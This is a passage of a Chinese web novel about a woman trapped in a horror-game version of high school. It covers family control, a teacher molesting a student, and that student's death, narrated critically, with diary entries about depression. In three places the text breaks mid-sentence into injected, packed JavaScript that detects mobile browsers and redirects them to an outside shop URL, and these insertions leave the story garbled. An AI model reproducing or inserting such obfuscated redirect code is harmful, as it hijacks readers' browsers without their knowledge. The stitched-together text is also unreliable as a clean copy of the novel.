理智告诉她，这是副本的npc，能不得罪就不得罪。 感性上—— “我，说，了，我，不，吃，菜，面。” 单字从齿缝里一个一个挤出来。 每一次，每一次都是这样。 我要吃白粥，你说菜面有营养；我说我吃香菜会吐，你说那我香菜切细碎一点；我说我不喜欢吃鸡蛋黄，你说那吃蛋白就好，在我剩下蛋黄的时候指责我浪费。 可是世上明明不只有白粥菜面两种主食，可是不是所有菜里都需要放香菜，可是不是每一个人都必须得吃蛋黄。 从来不被当作一个独立的个体，是不能关上的门，是不能落下的锁，是洗澡时随意打开的浴室，是践踏的人格，是跨过的边界。 母亲也好，奶奶也好…… 象征性的询问，然后从来都是按照自己的主观意愿打着为你好的旗号兴致勃勃地去做，一边将你的观点贬低碾压，在你一次又一次崩溃应激之后恼羞成怒，叱骂你怎么不理解她的好心，怎么老是因为莫名其妙的小事发疯。 就像宇佐见铃说的那样，“痛苦的根源不是痛，也不是伴随而来的羞耻，而是对方不认为给予过伤害。因为知道那是痛，才能硬生生忍痛的。可那样的痛却被当作没发生过，人怎能不因这种偏差而痛苦？” “菜面有营养。” 回声机喋喋不休。 愤怒、委屈、绝望和惊恨，粉碎了歩绾本身就不坚硬的外壳，腥稠的黑色黏液爆发出了惊天动地的能量，怒吼着咆哮而出。 歩绾低下头，看着胸口的大洞，拉链的拉头悬浮在洞中，是要冲向终点的磁悬浮列车，是被线拴着的小刀。 啊，原来我是毒液。 她冷静地想着。 这个播出来会不会被法务部警告？ 这个能播出来吗？ 她悬浮在一侧，看着黑泥和向日葵打架。 向日葵啪嗒啪嗒地吐漆黑的瓜子，黑泥简直像是被镶嵌了填充物的史莱姆，感觉还挺好玩的，手感应该不错，可惜她摸不到。 对了，平时吃的瓜子是西瓜子还是葵花籽还是什么籽啊？回头可以研究一下。 黑泥还在大战向日葵。 黑泥不止在大战向日葵。 它慢慢地侵吞了整个餐厅，然后是厨房，然后继续蔓延。 咕哝咕哝的声音，天花板一点点渗出了黑色的水渍，缓缓陷落，越变越深，越变越浓，房子缓缓坍塌，一点点融化在了黑色的污泥中。 安心地如同回到了羊水的拥抱中。 在这个家连一个完整房间都不能拥有的小姑娘总算可以占有了一整个家。 “今晚可以喝白粥了吗？” 小姑娘笑着问道。 那是一张精致到非人的面庞，薄得如纸的苍白皮肤透露出了阴郁的血管涌动，眉头是鲜血沾染的红，眼圈是勤奋学习的黑，眼皮是冰面藏着的蓝。 暗红的血泪融进了半透的肌理，智者似笑非哭，澄澈眼眸里倒映着被黑泥吞噬颤动的向日葵。 “菜面已经煮好了……”花盘颤抖，“你不能浪费，我们那个时候哪有，哪有这么好的条件，我们那个时候都吃不起饭的……” “今晚可以喝白粥了吗？” 小姑娘笑着问道。 * 歩绾的晚饭得回家吃，她记得早上奶奶说晚上给她煮白粥。 她回家的时候奶奶还在厨房忙活，家里只有奶奶一个人，她打了声招呼，算是打破了冷清的氛围。 小锅里炖煮着白粥，奶白的粥面上漾着米皮，看着就觉得胃里暖暖的。 奶奶晚饭不会煮很多，家里只有两个人吃饭，一人一碗白粥，配上腐乳或者榨菜，顶多再加个咸鸭蛋，对于青春期在乎身材的女生来说刚刚好。 “是不是有点少？”奶奶粗糙的手在红色的围裙上擦了又擦，步绾看了一眼，围裙上打着银行的广告，大概是去哪家银行存钱送的，“家里还有俩菜包，要热了吃吗？” “不用，够了，够了。”步绾摇头，她不大喜欢吃菜包，如果说有肉包的话她可能还会来一口。刚刚回家路上发现路边摊有卖淀粉肠的，要不是考虑到在副本她真的想去买一根。 ……而且这里的淀粉肠只要一块钱一根！ 她八百年没吃过一块钱的淀粉肠了！ 哦这也不是重点。 步绾强行押回乱飘的心思，不再去想淀粉肠那诱人的模样。 晚自习要上到十一点，中间有十分钟的下课时间休息。 明诀去探索那个长相过于古朴的建筑物，他们作为学生并不能够随意翘课，但按照贺清璟的说法，有必要的话明天或者后天他会装病翘课。 然后明诀就表示要么就明天，明天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14652712|156623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他看晚自习，批假方便。 步绾和顾嗣显面露羡慕，他们俩没有“相熟”的老师，更别提顾嗣显还是高三生，高三可是关键时间段，亲戚们去世了都会瞒着孩子们的关键时间段。 明诀作为一个指引人，也算是四人团中的主心骨，贺清璟虽然有自己的看法，但在绝大多数事情上还是会尊重他的意见。 他给几人都分派了任务： 顾嗣显是唯一的高三生，写实的副本的话，高三是关键点，他的任务最重。除却要找任务情报之外，还需要找到同阵营玩家，明诀推测高三老师中应该也混着一个指引人——这是一个简单的D级副本，两个指引人的身份应该相当且都是友方。 顾南栀是唯一的女生，需要靠她打进女生npc里面。相较而言女生之间聊八卦的频率会稍微高一点，探查信息会来得更方便一点。以及目前也就她家和班级上出现了追星相关的事件，这件事需要重点关注。 毕竟这个事件是目前唯一发生的，而且还死了人——虽然是npc——的事件，虽然就目前看来npc的死亡只是因为他在早读时打瞌睡，但是这到底和追星有没有关联，线索太少了，他们没有办法得出结论。 他们还需要判断一下，顾南栀和顾嗣显这两个人都姓顾，不算特别常见的姓氏，一个班上有几个姓顾的正常，但是玩家被安排的两个身份都姓顾，不知道这个副本里是不是有什么深意。 步绾眼观鼻鼻观心不说话。 你得原谅初中小孩贫瘠的取名能力，没给你取名叫羽影沉·顾·蝶魅纱柔梦已经很厉害了。 ——当然她那时候没给主角起这个名字的最主要原因是，她是手写的小说，这名字未免也太长了。 步绾胡思乱想着干完一碗粥，吃了两口榨菜，想到什么，问了一句：“妈妈今天要加班吗？” 写实的副本的话大人们应该也是五六点下班，没回来吃晚饭要么就是在外面应酬要么就是加班。 奶奶想了想：“应该只是在外面吃饭，八九点应该就能回来吧？” 她笑道：“怎么，想妈妈去接你下晚自习吗？” ……那倒也不必。 “就这么点路，我和贺清璟一起走回来就好啦。” “也行，也行，”奶奶似乎很是欣慰，“路上有什么不会的，可以问问人家，人家是年级第一，之后要考最好大学的，你多问问，多问问，反正贺小子家里也没什么人，你有不会做的可以让人上咱家里，奶奶给他煮菜圆子，你妈妈都说我煮的菜圆子好吃。” 菜圆子是啥？ 步绾有些茫然，圆子不就只有黑芝麻汤圆吗，还能有别的？ 但她自然不会问出来，她只是道：“下了学都十一点了呢！” “听你妈说人都是一点才睡的，”奶奶收拾着碗筷，“当然，我们知知不能睡那么晚，知知身体要紧，再说了，女孩子嘛，也没必要考那么好的大学，太远了，女孩子随便考个一本就行了，之后啊回来考个公务员，或者当个银行柜员都挺好的，稳定，当老师不行，当老师太累了，银行五点就下班了，老师还得在学校看晚自习……” 她絮絮叨叨的，也没指望听到孙女的回复。 “考得近也好，一个星期能回家一趟，奶奶年纪也大了，也不知道还能见知知几回了……” 9. 第 9 章 09 步绾是逃一般地跑回了学校。 老人的碎碎念她没敢听下去。 亲人的死亡是每个人成长的一节必修课，谁都逃不过，区别就是有早有晚。 四个玩家都有自己的社交圈，一两次脱离吃饭也就算了，大部分还是要遵循原先的规律的。 所以顾南栀回家吃饭，顾嗣显还有贺清璟和他们各自的同学吃饭，明诀自由一些，不过决定接下来一周的午餐都在食堂解决。 她回到班里的时候还早，教室里也就十来个人，不是减肥的就是勤奋学习的。 “栀子你回这么早啊？” 步绾认了一下，说话的是排队时排在她前面的小姑娘，她当然不知道人叫什么。 “奶奶的唠叨太强大了，”她耸了下肩，走了过去，探头看她们几人在干什么，“诶，你们不去吃饭啊？” “食堂那么难吃的饭，狗都不吃。”坐在位置上的小姑娘翻了个白眼，她桌子左侧上放着一个小保鲜盒，里面是切段的黄瓜和胡萝卜，看起来分外没有食欲。 “别引橙子了，”最开始喊她的女生轻轻推了推步绾，笑道，“你又不是不知道她啃一个月黄瓜了。” 另一个站着的女生瘪了瘪嘴：“也真难为她能坚持下来，我看着胡萝卜都想吐。” “爱情的力量啊，真伟大。”她抑扬顿挫地感慨。 “闭嘴吧你，”坐着的女生笑骂，眼神倒是乱飘没敢看她，慌忙扯开话题，“哎，我前两天看网上说，想染那种不被发现的紫头发，就是拿那个什么紫药水染，室内看是黑的，但是室外看就是好看的黑紫色！” “哎哎我也看过，怎么着，你想试？” “哇真有这么神？” “真可以试试嘿，你看，去跑操的时候，你从那个谁旁边走过，然后皮筋啪嚓一断，长头发在他面前散开来，然后阳光底下露出那种紫色，这不一整个拿下！” “不是等下，说这个是不是有点太早了啊？！” “我靠可以啊，换我也会心动啊！” “然后脖子喷点香水，你要香水吗？我姐前两天买了个什么no.9香水，我顺点给你，这保证心动啊！” 步绾夹在中间，一时间不知道该不该感慨是不是自己真的脱离校园氛围太久了，怎么都插不上话了。 “栀子你觉得呢？” 栀子不知道，栀子不明白。 怎么紫药水都能染头发？这小姑娘喜欢的到底是谁啊？怎么又要为了人啃黄瓜胡萝卜一个月又要为了人紫药水染头发？ “我不知道诶，”步绾有点艰难地组织语言，“紫药水染头靠谱吗？……我是说，不会把头皮都染紫了吗？” 她也不敢阻止人家，毕竟是npc，也不知道这方法到底靠不靠谱，只能想办法从别的角度劝一下。 “对哦，”最开始喊她的小姑娘似有所悟，“得戴着手套染，还不能染到额头和脖子后面，咱破学校又不让人披着头发，露出黢黑的后颈更完蛋！” “对啊啊啊，紫发会不会显得皮肤更黑啊？我夏天晒黑了现在还没白回来呢！” “哎哎橙子你要不要试试看七白膏？七白膏应该能够快速白回来！” “七白膏是什么？牙膏？” “不是怎么可能是牙膏啊！谁拿牙膏抹脸啊！就是什么白术白芷白茯苓白这个白那个的！我妈药店里有得卖的，我回头顺点给你！” …… 等一下，等一下，等一下。 步绾夹在这噼里啪啦的讯息之中更加发懵。 不是说大家都沉迷学业无法自拔吗，怎么突然就开始聊起了美容美发？这美容美发靠谱吗？ 她茫然地看向了坐在座位上被称为橙子的小姑娘。 虽然坐在偏后排，但她并不是很高——高的话那么在排队的时候她应该就对这张脸有印象了——皮肤也不是很白，当然说到底，除非“天赋异禀”，这群高中生肯定不会白到哪儿去。 睡眠时间少、精神压力大，正值青春期又没空护肤和防晒的人，脸上不长点痘痘都已经算是不错的皮肤状态了。 毛孔粗大、黑眼圈、痘印、皮肤暗黄，这么一说似乎显得这个人看起来格外邋遢且丑陋。 青春期的少女总喜欢这样过分仔细地审视自己。 但事实上，小姑娘脸型是很漂亮的鹅蛋脸，眼睛也很大，黑眼圈虽然有些大但莫名显得眼睛更大了，毛孔也就鼻子上的有些明显，但社交距离根本看不出来。以步绾的距离来看，分明就是一个皮肤不错、活泼灵动的小姑娘，虽然算不得特别漂亮，但也很清秀。 也不知道她们什么时候能拿这么审视的眼神去看异性。 步绾虽然挺想夸夸她的，但又很怕自己的夸赞会被对方误解为是出于朋友的安慰，反倒让人更加焦虑。 虽然知道接下来可能会触发什么剧情或者关键节点，但她还是想说点什么。 关于“自然美以及女性到底需不需要变得美”这事儿现在仍在争论不休，她其实不想去管也没法去管，被要求了二十多年的美，突然让人不要去追逐美总是会怀疑自我痛苦万分的。 太多能说的，太多想说的，以至于她张了张嘴，最后什么都说不出口。 说什么好像都显得有点太单薄了。 她还在那儿费力地组织语言的时候，这几个小姑娘已经定了下来。 家里开药店的说明天带七白膏和紫药水过来，其他人也想变白，她大手一挥表示人人都有，现在就剩下步绾没表态。 ……她也不需要表态。 橙子羡慕地看着她：“唉，我要是能像栀子这样白就好了，好嫉妒～” 这声嫉妒显然不是真心的，她眼睛亮晶晶的，说着明显是好朋友之间的调侃。 “栀子说等你像我一样天天吃药你就不羡慕了。”在她开口前另一个女生就替她嘻嘻哈哈地还了回去，“她家药感觉比我家店还齐全。” 步绾：……我感觉我是不是可以明天也请病假了。 话说她昨晚和今天都没吃药，是不是漏了什么步骤。 她们的闲聊也没维系多久，很快就要到晚读时间。 大家各自回到自己的位置，步绾慢吞吞从讲台旁边绕了过去，假装不经意地看了一会儿座位表，确定了一下她们的名字。 减肥的叫周陈澄，大概率因为后一个字被叫橙子，就像她被叫栀子那样。最开始喊她的叫李莎白，家里开药店的叫王鸳杏。 不好说这名字是更像npc了还是更像正常人取的名字了。 毕竟不会有谁给自己孩子取诀别的诀或者子嗣的嗣吧？ 步绾坐回了自己的位置。 早读是语文，晚读自然就是英语，英语她倒不太愁，离开了学校文言文没多大用处，但英语还是需要在一些必要的场合使用的。 ——其实也没多大用，她心里吐槽，雅思八分的她也听不懂对接的外国客户的奇妙口音，年纪大的同事还笑眯眯地嘲过你们读过洋书的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14652713|156623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没见得有多大用处。 怎么你给我几千的工资还想让我干几万的活吗，我拿的工资里可没要我当翻译的份。 这么一想倒也不知道是在目前也没看出多少恐怖的恐怖副本里当学生好，还是回去继续当996还没钱的社畜比较好。 不知道副本是不是能读懂她的心思，感觉好像有一个npc或者kp在那里敲锣打鼓地喊着：什么？你想要恐怖的？这不就来了！燥候！ ——又一个同学死了。 也不知道这么说起来是不是有点太地狱了，班上同学又少了一个，班主任“人人都上一本”的美好期许即将实现了。 ……等下，话说，优等班一个班只有三十个人，不会本来应该有五六十个人但是死了三十多个成绩差的吧？ 应该不会吧？ 这么一想班主任也为之付出了不少努力呢。 死掉的npc叫幸羽妍，班上的第一名。 幸是一个非常少见的姓氏，加之位置又在顾南栀的前面，所以步绾多看了两眼，对她印象也很深刻。 幸羽妍不是一个长得非常好看的女生，是一个非常普通的女生。 当然，要步绾来说，小姑娘们长得都挺不错的，没什么特别好看不好看的说法，你要说不好看的话，她觉得曹光成才是其中的“翘楚”。 她身形不高，大概一米六左右，上课起立的时候步绾总能看到她头上翘的呆毛，乱蓬蓬的，很可爱。长相算得上是比较可爱，是杏眼，睫毛纤长，如同蝴蝶的翅膀，翻飞的时候平添几分俏皮，鼻子小巧，嘴唇不点而朱，像是熟透的樱桃，让人的视线移不开她。 唯一的缺点是她的眼睛里没什么光，性格也比较内向。 晚读大概到一半的时候，英语老师看了眼手机，过来喊幸羽妍和步绾，说数学老师喊你们去他办公室。 步绾一愣，以为自己又触发了什么剧情，也没想明白到底发生了什么，但也没有办法，只能起身跟着幸羽妍往办公室走。 她和幸羽妍今天没说过话，也不知道该从什么角度打开话匣子。 倒是幸羽妍犹豫着开了口，声音很小：“我昨天……听了HEPTA的《Growing Pains》。” 诶？认亲？ 步绾故作惊喜，将话题抛回给幸羽妍：“哇，你听啦，感觉怎么样？” “……很好听，”她的视线短暂地落在了教学楼外的夜空，又放回在地砖上，专注地看着，沿着石缝走，仿佛自己在走独木桥那般，“和我想象的不一样。” “有的时候我在想，是不是看完他分享的书单里的书，听完他分享的歌单里的歌，我就能离他更近一点……我不知道我是在喜欢他，还是嫉妒他。” 步绾应了一声：“我也有这种感觉，或许我们追星多少都有一点那种，‘假如我不用那么紧绷，不用一门心思考好大学，假如我能活成我想要的样子，我是不是也能这样在舞台闪耀’……这种，我可不敢和我妈说，我就悄悄和你说。” 幸羽妍弯了弯嘴角，不知道是被逗笑了还是被安慰到了。 “他们很辛苦，可是我也很辛苦。我妈妈说，比我更辛苦的人也在好好地活着，比我遭遇了更多的人也在好好地活着……即使这样也让我活着，希望听到我感到痛苦是因为我太软弱了，是因为遭到这样的问题，还不肯站起来……” 步绾意识到她好像透露出了些什么。 但她很快发现，并不需要幸羽妍的透露，她看到了。 10. 第 10 章 10 徐老师是一个非常受人欢迎的班主任。 他和明诀并称为双骄，走的却是不同路线。明诀和学生们打成一片，相貌上受女生欢迎，性格上被男生追捧，而徐老师则是因为文质彬彬，多少承载了一点大家对大人的向往。 大人在自己的办公桌上放了个小小的鱼缸，还有一个小花瓶，插着新鲜的康乃馨——说是他的妻子非常喜欢买花，隔几天就让他折一枝带到学校里。大家都说徐老师是很少见的好男人。 喊幸羽妍不奇怪，幸羽妍是数学课代表。 喊顾南栀又是什么原因？玩家的被动技能？百分百被npc找？ “来了？”徐老师抬眼，朝她们挥挥手，“看看这题的难度，难的话今天就不布置给你们了。” 我？手指点自己.jpg 步绾心情复杂地跟着幸羽妍在桌前站定。 设a>0，已知l：y=ax及曲线C：y=x^2，C上的点Q1的横坐标为a1(0<><> 啊？啊？？啊？？？ 这什么东西？这是啥啊？？ 呃，通项公式是什么东西来着？西格玛是求和符号，证明从k+1到n的，呃，然后呢，然后呢？ 幸羽妍已经接过纸笔在写写画画，上来先画了一个坐标系的第一象限，步绾苦着脸有样学样地画，画完第一象限画直线l和曲线C。因为不是正式答题，她都不能来写个解糊弄一下。 幸羽妍仍在如有神地写，步绾都不敢往她那边瞥，因为她站得离徐老师近，生怕一偷看就对上老师的视线。 她觉得这种苦明明就该贺清璟来受。 徐老师站起了身。 步绾抓紧时间偷瞄了幸羽妍的草稿一眼，发现瞄了不如白瞄。 什么东西，因为QnPn+1Qn+1什么所以an+1什么，看也看不懂，还不如abandon呢。 很快，步绾的动作就顿住，不敢置信地扭过头。 徐老师俯身，看起来像是想要看幸羽妍写了什么，但显然的是，如果只是想要看解题过程的话，并不需要靠那么近。 幸羽妍在察觉到身后紧密地贴上一具身躯的时候，下意识颤了一下。 天气并没有冷到那种程度，两人的衣服都算得上是单薄，于是体温就隔着衣衫传来。呼吸好像喷洒在耳朵边上，带着她厌恶的烟味。 求你了，不要靠这么近。 她绝望地想。 最起码不要在同学的面前…… 不要在和我喜欢同样的人的同学面前…… 她会不会觉得我不配再喜欢那个人？ …… 步绾不知道这个时候该做些什么。 她确实不敢一把拉过这个丑陋的npc，毕竟这里是副本游戏，而她是个新手玩家，旁边没有别人。事实上，她其实也不清楚，如果这是在现实的话，她能做些什么。 她只能喊了一声“徐老师”，在对方直起身来笑盈盈地看她的时候，强装镇定地说了一句：“我没有思路。” “第一问也没有思路吗？” ……就算有思路看到你的动作的时候我也给恶心没了，步绾腹诽。 “呃，第二问倒是有。” 其实也没有。 “那我大概懂了，”徐老师仍旧在微笑，和蔼地推了推镜框，“幸羽妍都可以吧？” “……嗯……”声若蚊蝇的应答，步绾差点都没听清楚。 徐老师道：“很好，我大概清楚这题对你们来说的难度了，幸羽妍继续保持，我相信你好好努力的话高三可以进四班。” 是错觉吗？总觉得这话里好像透露出了一点威胁的意味。 徐老师从幸羽妍手中抽出了笔。 他好像不是很在意是否有旁人的围观，又或者不觉得自己的举动有任何问题，坦然自若地，握住了她的手，一点一点摩挲上滑，抽出笔的时候，无名指和小指还暧昧地捏了捏她的虎口。 幸羽妍的脸微微泛红，恰似春日初绽的桃花，带着一抹让人心动的娇羞。贝齿紧咬的唇瓣，如同晶莹果肉一样垂涎。 步绾眨眨眼，努力晃掉这种莫名挤进她脑海里的怪异形容。 她犹豫了一下，抓住了幸羽妍的衣服往自己身边扯了扯，幸羽妍没站稳，被她扶住。步绾于是昂起头朝徐老师笑：“要把这一题给班上同学做吗？我和小妍去抄黑板上吧？老师可以把这本书先借我们吗？” 她不敢忤逆老师，也不敢挑衅老师。 或许老玩家敢，或许换成任何一个胆大的玩家敢，或许虽然她其实也可以安慰自己反正遭罪的是npc而不是她自己，反正也就是被贴一下被摸一下…… 但明明可以不遭这个罪的。 步绾想。 老师好像没有觉得有什么问题，他自然得好像刚刚一切都没有发生过，将他一早就写好的作业纸条递给她，让她们回去布置作业，说他第一节自习的下半场会过来，让顾南栀或者幸羽妍随便谁组织一下纪律。 顾南栀不是课代表也不是班委，组织纪律和她没有关系。 于是步绾意识到，她其实只是一个触发剧情的“npc”，她看到的只是这个小姑娘或频繁或偶尔经历过的，无人知的痛苦。 她半搂半拖着不知道在想什么的幸羽妍离开了办公室。 她走得很慢，幸羽妍也慢吞吞地挪动，那张清秀的小脸上一片空白，好像是被抢了台词的机械npc。 我能为她做什么。 步绾想。 我得为她做点什么。 她不想长篇大论地说什么，你没有错，错的是这个傻x世界和那个傻x，说什么请不要想着去死，你要好好考试好好学习离这群人远一点。 所以她一时间不知道能说些什么。 旁人说的，说到底没有什么用。 针不扎在别人身上别人确实感觉不到相同的痛苦，甚至更多的是那种将一切你的痛苦归咎于你敏感纤弱的内心和所谓不顺的外在环境，自顾自地说着什么“明明有很多人比你更惨但是他们挺过来了”。 所以就像幸羽妍说的那样 ——他们很辛苦，可是我也很辛苦。我妈妈说，比我更辛苦的人也在好好地活着，比我遭遇了更多的人也在好好地活着……即使这样也让我活着，希望听到我感到痛苦是因为我太软弱了，是因为遭到这样的问题，还不肯站起来…… “我有段时间听过最多的话就是，‘现在人经常抑郁，不止你一个，其实大家在某些时候都会遇到这个那个问题，都会痛苦，’拿这个来劝我，说总能挺过来的。他们好像都意识不到自己话语里的不以为然，没有意识到他们其实在说：‘为什么别人都挺过来了，就你挺不过来？’ ……他们说你这个人真的没劲，我这么好心好意地劝你开导你，你怎么还这么负能量爆棚？”步绾也不知道她在说什么，她的语气干巴巴的，“他们并不屑于和你感同身受，只会把你压在所谓弱者的角度，居高临下地施展自己的‘善意’，戴着白手套给乞丐食物。” …… 不对，我好像不该说这个。 步绾想，我其实该安慰她的，怎么感觉我现在反而在发泄不满？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14652714|156623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可我能怎么安慰？我其实也不能真正意义上的感同身受，为什么她经历了这样的事情之后，却怎么都没办法得到真正的理解呢？ “他其实没有对我做什么。” 幸羽妍突然开口了，她的声音干涩，明明是从步绾的怀里传了出来，却又感觉那般遥不可及。 “最多的也就这样了，他没摸过我别的地方，也没有抱过我，更别说亲过我。” ……什么叫最多的也就这样！这已经很过分了！ 步绾想反驳，但她还是闭紧了嘴巴。 不管这是幸羽妍打心里这么觉得的，还是这样安慰自己，她现在说什么其实都没有用。 “我问我哥哥，我哥哥说，你是不是变态，你怎么能那么清楚地记得他的动作和自己的感觉。你是不是也喜欢这样？” 步绾的手在颤抖，她头一回体验到什么叫气得发抖。幸羽妍温柔地捧住了她的手，好像在安慰她，让步绾更生气了。 步绾艰难地，语无伦次地试图宽慰试图鼓励，说不要和这群傻X计较，好好学习，你继续好好学习，你成绩那么优秀，我们没法计较就先不计较，我回头帮你去套麻袋，你不要管，你考好大学，你考远一点，不要再回来了，你明明就该是在高空翱翔的雌鹰，你剩下的不要管，我去帮你揍他们一顿…… “……我问我妈妈，我妈妈说，他怎么就对你一个人这样？” 步绾的头脑一片空白。 “我不知道这是什么感觉。” 那种感觉就好像是…… 整个世界都陷入了一片混沌的黑暗之中，周围的一切都蒙上了一层腐烂的蚊蝇尸体，中心是腐臭的她，偏偏在以令人生厌的方式灼烧，吸引了越来越多的昆虫，前赴后继。 “我死了，栀子。” 幸羽妍叫出了从没有叫过的亲昵的称呼，她仰着头笑着看着步绾，眼睛亮亮的，如同黑曜石一般。 “我知道你不是栀子，但你也是栀子。” “电影里热映的少女时代，歌曲里吟唱的花样年华，我也有喜欢的男生，我有喜欢的男生，我不想和他在一起，我只想和他考同一所大学，我想象中的，大学，林荫大道，奔跑的学生……” “好好学习的话会考上好大学，会离开这里……你是第一个和我说我会成为高高翱翔的雌鹰的人，好像在你之前，大家都说的是雄鹰。” 幸羽妍笑了一声，握紧了她的手。 “生长痛到底是什么呢？我以为是骨骼成长，植物抽芽，竹笋破土，是美好的结局。我以为我熬过这些，就是天亮，就是阳光……但是雨季没有停过，漫长的，不间断的，燥热的，雨季，日复一日的，日复一日的，囚笼，镣铐，痛苦，我被一次又一次地打碎，重塑，崩溃，自我拯救……” “然后他们问我，怎么这么点小事就把你击垮了？你怎么这么脆弱？” 步绾痛苦地收紧了手，不知道是为了幸羽妍，还是为了她自己。 “来得太迟了，栀子……如果早一点，如果早一点有一个人这么和我说就好了，但是还是很开心，在这反复的，一天天的，鱼缸里，最后我看到你啦，谢谢你。” 宇宙广袤无垠，地球无声转动，一切都在照常运转，它不会为一名普通的npc的逝去而停下运作，也不会有任何人为一名普通的npc离去而停下脚步。 一朵无瑕的皎白栀子花安安静静地躺在步绾的手上，没有什么血肉模糊又或者灰飞烟灭，没有什么波澜壮阔又或者让人感伤的画面。 偏偏连化身都与自己无关。 步绾站在空空荡荡的走廊上，天太黑了。 11. 第 11 章 11 【获得A级道具：一朵栀子花。 花的白到底是灵魂的纯净还是鲜血的反衬，旁人看不到的花，却是她存活过的唯一证明。尽管她知道您并不叫栀子，她仍旧觉得您是她生命里遇到过唯一的芳香。 “害怕的时候请呼唤我的名字吧，我会成为你的幸运，成为你的力量。”】 【获得buff：栀子的芳香。 栀子的芳香：没用的人，没用的第一名，没用的栀子花。我给你我的书中所能蕴含的一切悟力，以及我生活中所能拥有的所有勇气；我给你一个从未期许过未来的人的向往，我给你设法保全的我自己的核心。* 功能：使用时间30min，冷却时间24h。】 除了死掉一个npc，获得了一个A级道具和buff之外，又是一个平淡得异常、不像常规恐怖游戏的晚上。 听起来好像对此习以为常了。 座位表上已经变成了另一个人的名字，前排也换了一张陌生又熟悉的脸，数学课代表的身份干脆地落在了她的身上，明明她连那些个数学题目都看不懂。 到这一刻她才真正意义上无比荒谬地感知到这里真的是一个游戏。 步绾自然不可能真的拿这宝贵的副本时间来学她早就学过的知识，虽然现在也没记得多少就是了。 早上只是简单地翻了一遍，现在她有了时间仔仔细细地翻找，反正也不会有人问她在找什么，大概率都会以为她晚自习闲着没事做摸鱼。 于是还真的翻出来不少东西来。 比如说答题卡。 秉承着不浪费的原则，每一张被用过的答题卡背后都被她写了杂七杂八的玩意儿，要么是当上课交流的小纸条，要么是当日记来写。 步绾也在答题卡反面写杂七杂八的东西，不过不是写日记，写的是小说。 小学的光荣事迹是贴满了一整本的泡X之夏贴纸并写了长篇大论的读后感，甚至写了有些情节换作自己该如何设置，这个本子后来被妈妈拿去在家族里传阅，家长们惊为天人，到她现在这个年纪还会拿出来啧啧赞叹。 高中的光荣事迹是把写满了小说的彩面抄不小心当作业交了上去，第一节课借口拉肚子去办公室偷作业，还好没被老师发现，不然可能直接从五楼跳下来。 而顾南栀居然敢这么堂而皇之地写在答题卡上，甚至答题卡敢随手乱放。 感觉像是副本刻意送出的线索。 【学校居然配备了心理医学室233 到底谁会去啊这种地方，让退休的语文老师来当心理医生到底是怎么想的啊无语。 谁会高兴承认自己是个精神病啊。 精神病不是都被关在惨白的大楼里，被隔离被24小时看护吗。 他们会拿着锋利的刀刃用力地划破自己的肌肤，会试图从三十层高的大楼上一跃而下，会试图将自己溺死在盛满水的浴缸里。 或许他们并不执着于离开这个世界，或许他们有意或者无意地想要伤害别人。 我宁可说我是一个傻逼，我也不愿意说我是精神病。 我可以说我是神经病，嘿嘿。】 …… 【小孩子哪有腰。 小孩子哪会胃痛。 小孩子哪有抑郁症。 …… 是想逃学吧？ 不想上课的话和妈妈说，没必要编这个的。】 …… 【为什么一定要总结一个原因出来呢？ 为什么一定要让我找辛苦的原因…… 我不能因为活着就很辛苦吗？我不能因为呼吸就很辛苦吗？一定要找非常具象化的原因吗？ 读着高中的大家都很辛苦啊，妈妈之前差点没有学上呢，外婆之前连吃面皮都觉得奢侈呢，你现在明明已经享了很多福了。 我还没让你补课呢，你回家还可以看小说，玩一会儿电脑…… 我是该幸福的吧？ 别人都熬过来了，为什么你挺不过来？ 你这个人怎么老是把别人的好心当坏心？ 心理医生的作用难道不是开导精神病人的家属吗，告诉他们，什么事都没有，这个人只是太脆弱了。他很快就能够康复，只要他多出来走走，只要他多和人交流。】 …… 【妈妈爱我，我知道的。 我耽误了妈妈，我也知道的。 她给我的爱好像恰如其分，尽到了她作为母亲的责任，没有多到让我快乐地健全地长大，却也多到让我舍不得割裂离开。 哪吒好厉害，削骨还父割肉还母，剔除了和这个世界的所有联系。 我不敢，我舍不得，我好怕我妈妈哭。】 …… 【才没有那么喜欢追星。 比起在追逐他们其实更多的是在嫉妒他们，嫉妒他们比我大不了几岁就获得的成就，嫉妒他们能够被那么多人喜欢。 也在羡慕他们。 追逐一个光芒万丈离我又如此遥远的人，小毛驴追着胡萝卜嘚吧嘚吧往前跑，直到线断了，直到我心底的弦松了，这是我目前活下去的唯一动力。】 …… 【我为什么会崩溃？ 又来了又来了又来了，这个问题要问我几遍呢？ 我的生活被一点点的小细节逼绝望的，你需要我一遍一遍把这些掰碎的小细节和你说吗？ 